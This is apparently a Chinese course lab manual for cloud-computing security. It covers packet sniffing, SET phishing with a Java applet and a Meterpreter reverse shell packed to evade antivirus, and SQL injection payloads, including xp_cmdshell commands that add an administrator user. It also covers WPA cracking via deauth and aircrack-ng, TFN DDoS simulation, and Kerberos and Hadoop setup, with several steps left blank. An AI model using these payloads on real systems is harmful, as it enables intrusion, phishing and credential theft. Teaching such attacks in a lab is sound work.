《云计算安全》实验指导书docx
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
实验一:使用sniffer捕获加密包和非加密包
一、实验目的
●使用Sniffer抓包工具进行网络抓包的练习
●抓取加密与不加密两种数据包
●分析并理解采用加密和不加密技术数据的传输状态。
二、实验设备
安装了sniffer的客户机;
可提供网络链接功能的服务器;
实验拓扑结构定义如下:
三、实验内容
熟悉Sniffer网络抓包工具的使用。
使用Sniffer网络抓包工具抓取客户端与服务器端之间的通信包。
访问服务器存放好的两个版本的网页,分别为登录加密与登录不加密。
分析加密与不加密数据包之间的差异。
四、实验步骤
1、启动程序,在Setting对话框中,选择自己的NIC,单击OK
2、打开Capture选单,选择Define Filter,然后选择Address页
3、单击Profiles 按钮,创建新配置文件
4、在Capture Profiles对话框中,单击New
5、输入stXXXX(XXXX为学号)作为新配置文件名,单击OK
6、选择stXXXX文件,然后单击Done按钮
7、单击Station 1 字段,输入本机的IP地址,单击Station 2字段,输入合作伙伴的IP地址(或缺省为any)
8、将Address Type字段的值由硬件Hardware改为IP,然后,单击OK按钮返回主屏幕
9、单击start按钮,开始捕捉数据包
10、访问bbs,mail等()
11、捕获到数据包之后,单击工具栏上的end and view按钮
12、仔细察看数据包,应该可以看到用户名和密码
13、访问加密过的mail()等,重复以上步骤。
14、仔细察看数据包,由于数据包被加密,应该可以看不到用户名和密码。
实验二:社会工程学攻击
一、实验目的
●掌握Java Applet Attack Method和Credential Harvester Attack Method社会工程学工
具的原理及使用
●掌握社会工程学攻击的原理、攻击方法和攻击步骤
●提高钓鱼网站识别能力,提高网络安全防范意识
二、实验设备
客户端主机:装有BackTrack5的PC;
目标主机:运行windows操作系统的PC
注:实验的两台主机需在同一网段下
三、实验内容
通过邮件,使用户点击访问BT5伪造的网站,诱骗用户在网页端执行java程序,使得BT5能够得到该用户的信息和控制权。
四、实验步骤
1.打开set的配置文件set_config进行配置
root@bt:/pentest/exploits/set/config#vi set_config)
1.1配置METASPLOIT_PATH
1.2配置EMAIL_PROVIDER
1.3配置SELF_SIGNED_APPLET和JAVA_ID_PARAM
2.打开set程序
(root@bt:/pentest/exploits/set # ./set)
2.1选择1 Socail-Engineering Attacks进行社会工程学攻击
2.2 选择2 Website Attach Vector
2.3 选择1 Java Applet Attack Method,进行java攻击
2.4选择2 Site Cloner,进行克隆网站
2.5输入签名所需的基本信息
2.6 输入网址:对该网站进行克隆
2.7选2 Windows Reverse TCP Meterpreter
2.8选择16,在攻击程序外套个壳,用于穿越杀毒软件和防火墙。
2.9设置本地监听端口号,443的端口号穿越性好。
2.10 选1E-mail Attack Single Email Address
2.11填写邮件的收件地址,标题和内容
2.12 执行程序发送邮件
3. 用户收到邮件后,点击链接访问3.1 打开邮箱查收邮件
3.2 访问邮件中的地址
3.3选择运行java程序
3.4 BT5服务器端连接用户,并在用户端创建notepad.exe进程
3.5 打开用户端任务管理器,发现notepad.exe
3.6 BT5中输入sessions –i1成功连接目标机器
实验三:SQL注入
一、实验目的
●熟悉SQL注入攻击的一些基本步骤。
●加深对SQL注入攻击各个阶段的理解。
●提高读者对具体威胁的分析和防护能力。
二、实验设备
作为Web服务器的主机,提供登录页面,其后台数据库满足如下条件:(1)数据库为Access
(2)程序没有对于id进行过滤
(3)数据库表中有个字段名为id
三、实验内容
●通过手工注入获得后台管理权限
●手动注入的各种常用SQL语句
●手动注入探测出管理员账号和密码
四、实验步骤
1、判断能否进行SQL注入
●http://210.34.17.178/displaynews.asp?id=772 and 1=1
●http://210.34.17.178/displaynews.asp?id=772 and 1=2
如果1显示正常,2显示错误,或者没有页面, 则表明可以进行SQL注入。
2、判断数据库类型
●http://210.34.17.178/displaynews.asp?id=772 and user>0
user是SQL Server的内置变量
1.and (select count(*) from sysobjects)>0
2.and (select count(*) from msysobjects)>0
如果1正常,则表示SQL server.
3、选择注入方法
(A) ID=49 这类注入的参数是数字型,SQL语句如下:
●Select * from 表名where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
●Select * from 表名where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句如下:
●Select * from 表名where 字段=’连续剧’
注入的参数为Class=连续剧’and [查询条件] and ‘’=’,即是生成语句:
●Select * from 表名where 字段=’连续剧’and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
●Select * from 表名where 字段like ’%关键字%’
注入的参数为keyword=’and [查询条件] and ‘%25’=’,即是生成语句:
●Select * from 表名where字段like ’%’and [查询条件] and ‘%’=’%’
4、猜表名
●ID=49 And (Select Count(*) from Admin)>=0
表名猜出来后,将Count(*)替换成Count(字段名),
●and (select top 1 len(username) from Admin)>0
猜用户名长度
●and (select top 1 asc(mid(username,1,1)) from Admin)>0
猜用户名
5、利用系统表注入SQLServer数据库
●id=1;exec master..xp_cmdshell “net user name password /add”
创建系统用户
●Id=1;exec master..xp_cmdshell “net localgroup name administrators /add”
把该用户加入administrators组
●id=1;backup database 数据库名to disk=’c:\inetpub\wwwroot\1.db’
备份数据库
实验四:无线密码破解
一、实验目的
●使用BT5的破解指定路由器密码的具体流程
●了解破解无线网络Aircrack-NG网络套件的使用
●使用Aircrack-NG破解加密的无线网络密码
二、实验设备
●装有BT5的主机
●无线网卡:TP-LINK TL-WN821N
●无线网卡驱动:Rtl8192
●无线AccessPoint:NETGEAR 无线路由器
三、实验内容
●通过无线网卡进行抓包,锁定需要破解的路由器
●进行deauth攻击与指定路由器建立握手
●通过暴力文件破解路由器密码
四、实验步骤
1. 安装无线网卡驱动
(下载地址:/doku.php?id=compat-wireless) 1.1 解压安装文件
(root@bt:~# tar xvjf compat-wireless-3.6.8-1.tar.bz2)
1.2下载Patch并安装文件
(root@bt:~# cd compat-wireless-3.6.8-1)
(root@bt:~# wget
/pat08082009.wl_frag+ack_v1.patch) (root@bt:~# patch -p1 < pat08082009.wl_frag+ack_v1.patch) (root@bt:~# make)
(root@bt:~# sudo make install)
(root@bt:~# sudo make wlunload)
(root@bt:~# modprobe rtl8192cu)
(root@bt:~# ifconfig wlan2 up)
2. 破解前的准备工作
2.1对外置无线网卡wlan2进行监控
(root@bt:~# airmon-ng start wlan2)
2.2 对网络内所有信息进行抓包
(root@bt:~# airodump-ng -w mingjiaotest mon0)
2.3 根据目标路由器NETGEAR_sc的信道进行抓包(root@bt:~# airodump-ng -c 1 -w mingjiaotest mon0)
2.4进行deauth攻击
(root@bt:~# aireplay-ng -0 5 –a 00:1B:2F:B9:A6:82 –c F0:B4:79:23:74:81 client-mac mon0)
2.5成功与目标路由器握手
3. 破解无线路由器密码
3.1 准备暴力破解文件yeslab.lst
(root@bt:~# vi /pentest/passwords/wordlists/yeslab.lst)
3.2 进行暴力破解
(root@bt:~# aircrack-ng -w /pentest/passwords/wordlists/yeslab.lst mingjiaotest-*.cap)
实验五:Hadoop安全
一、实验目的
●了解Kerberos对认证的统一与集中管理
●了解Kerberos的集中管理对云计算带来的好处
二、实验设备
●Ubuntu环境
●Hadoop环境(单机或者机群)
三、实验内容
在Hadoop环境下实现Kerberos的安装,并且对Kerberos进行简要的介绍,同时在Kerberos环境中进行一些简单的认证操作。
四、实验步骤
1.在安装Kerberos之前,要先在机器上安装KDC(Key Distribution Center)环境,在Ubuntu
在安装结束之后,kdc会要求为Kerberos和Admin服务器提供一个名字,任意命名即可。
2.
3.KDC的配置
在配置过程中,对所有问题的设置,都会被保存在/etc/krb5.conf,如果在安装之后要进行调整,直接修改该文件并且重新启动krb5-kdc即可。
下面即为配置的详细过程1)
在上面的设置中,steve是KDC的主(Principal),而admin是该域下的一个实例(instance),是域(realm)。
在实际操作中,应该将其变成自己要设置的值。
2)接下来,要为新的管理员新的管理员设置足够的权限(ACL,Access Control List),
上述设置意为steve/admin具有最大权限。
3)
4)
请将192.168.0.1替换成你自己的IP地址。
5)为了方便DNS SRV寻找到正确的KDC,要在/etc/named/ 进行如
4.安装Kerberos Linux 客户端
为了正常能够正确的获得认证,需要安装如下包:
auth-client-config包允许简单的PAM多源配置,libpam-ccreds包则可以将证书进行缓存。
5.配置
1)
2)dpkg-reconfigure工具会在/etc/krb5.conf添加对应到你的域的入口。
设置之
配置完成后,你可以发一个ticket来测试:
6.这样就完成了Kerberos的简单配置。
实验六:Hadoop灾备
一、实验目的
●了解并认识灾备的重要性
●学习Hadoop Secondary Node的配置方法
二、实验设备
●Ubuntu环境
●Hadoop环境(单机或者机群)
三、实验内容
用second namenode 数据恢复测试。
datanode由于采用2-3个备份,即使一台设备损坏,还是能自动恢复并找回全部数据。
hadoop 1.0.3和0.20之前的版本,namenode存在单点问题。
如果namenode损坏,会导致整个系统数据彻底丢失。
所以second namenode就显得特别重要。
本文主要探讨namenode损坏的数据恢复实践,包括配置文件,部署,namenode崩溃,namenode数据损坏和namenode meta数据恢复。
一共三台机器参与测试,分别是:
✧Hadoop48 Namenode
✧Hadoop47 Second Namenode, Datanode
✧Hadoop46 Datanode
四、实验步骤
1.编辑core-site,增加checkpoint相关配置
fs.checkpoint.dir 是恢复文件存放目录
fs.checkpoint.period 同步检查时间,缺省是3600秒1小时。
测试时设为20秒。
fs.checkpoint.size 当edit 日志文件大于这个字节数时,即使检查时间没到,也会触发同步。
2.将second namenode设置到另一台机器。
设置masters文件,这是指定seconde namenode启动的机器。
编辑dfs.secondary.http.address,指定second namenode的http web UI 域名或IP到namenode Hadoop48不同的机器Hadoop47,而不是缺省的0.0.0.0
3.测试时如果name node指定的目录没有初始化,需初始化一下
4.同步conf下的配置到Hadoop47/46(略),启动hadoop
Namenode log报的error:
2012-09-25 19:27:54,816 ERROR erGroupInformation – PriviledgedActionException as:zhouhh cause:node.SafeModeException: Cannot delete /data/zhouhh/myhadoop/mapred/ system. Name node is in safe mode.
请不要急,NameNode会在开始启动阶段自动关闭安全模式,然后启动成功。
如果你不想等待,可以运行:
强制结束。
NameNode启动时会从fsimage和edits日志文件中装载文件系统的状态信息,接着它等待各个DataNode向它报告它们各自的数据块状态,这样,Na meNode就不会过早地开始复制数据块,即使在副本充足的情况下。
这个阶段,NameNode处于安全模式下。
NameNode的安全模式本质上是HDFS集群的一种只读模式,此时集群不允许任何对文件系统或者数据块修改的操作。
通常NameNode会在开始阶段自动地退出安全模式。
如果需要,你也可以通过
命令显式地将HDFS置于安全模式。
Na meNode首页会显示当前是否处于安全模式。
5.编辑放置测试文件
6.放到HDFS中
7.杀死Namenode,模拟崩溃
8.将.dir下的内容清空,模拟硬盘损坏,通过mv命令,采用改名的方式进行测试
此时,name 目录不存在,namenode是会启动失败的
9.数据恢复,从second namenode 复制数据
查看second namenode文件,并打包复制到namenode的fs.checkpoint.dir
如果.dir配置的name不存在,需创建name目录(我测试时将其改名了,也可以进入name目录用rm * -f)
此时name下面已经有数据
Ctrl+C 结束
10.恢复成功,检查数据正确性
恢复成功
实验七:基于Hadoop云平台的DDoS攻击检测
一、实验目的
●对Hadoop平台的深入了解
●Hadoop云节点DDoS检测
●讨论Hadoop云节点的自我修复
二、实验设备
●Ubuntu环境
●Hadoop环境(单机或者机群)
三、实验内容
对Hadoop 云计算平台进行了深入了解,在此基础上结合Hadoop 自身的心跳监测机制提出了一种全新的基于Hadoop云节点DDoS 检测与自修复防御模型。
通过引入双曲正切函数设计出一个云节点DDoS 检测与健康保护的阈值函数,并把此函数作为检测模型的核心算法。
讨论如何设计一种DDoS 自修复防御模型,并结合上面的检测模型提供的实时数据对DDoS 攻击的非法IP地址进行彻底清理。
四、实验步骤
1.根据算法描述进行简单实现。
算法描述如下:
DDoS 攻击的主要目标是受害主机的有限计算资源(如CPU,内存,协议栈等),依靠把受害主机的资源耗尽来达到攻击效果。
因此要检测云节点是否正在遭受DDoS 攻击,我们可以从云节点本身的健康程度来判断检测。
我们使用四个参数,CPU 利用率和利用率斜率、内存占用率和占用率斜率,以此来判断云节点计算机地健康程度,并作为检测云节点是否遭受到DDoS 攻击的数据依据。
1)云节点运行的利用率及其斜率都不高,此时节点工作一切正常。
2)云节点在运行中利用率很高,但是斜率保持稳定,即利用率没有继续急速提高,这
也是正常的工作情况,并且此时高利用率不会维持很长的时间,随着时间的增加会
下降到正常水平。
3)云节点没有在很高利用率的情况下工作,但是利用率斜率突然间大幅提升,即云节
点目前的工作正常,但是如果继续下去各项利用率会有大幅升高,有可能由正常工
作变为异常运行。
4)云节点的各项使用率已经在高位运行,但是利用率斜率突然间大幅提升并且已保持
了一段时间的高位,此时云节点已经极尽正常运行的边缘,如果在发展下去就会死
机,无法相应任何请求。
2.使用TFN模拟DDoS攻击,向任意Hadoop节点伪造DDoS攻击。
3.使用top命令查看CPU使用情况。
4.使用cat /proc/meminfo查看内存使用情况。
5.记录在用TFN攻击过程中,节点各项参数的变化,并尝试识别DDoS攻击造成的异常。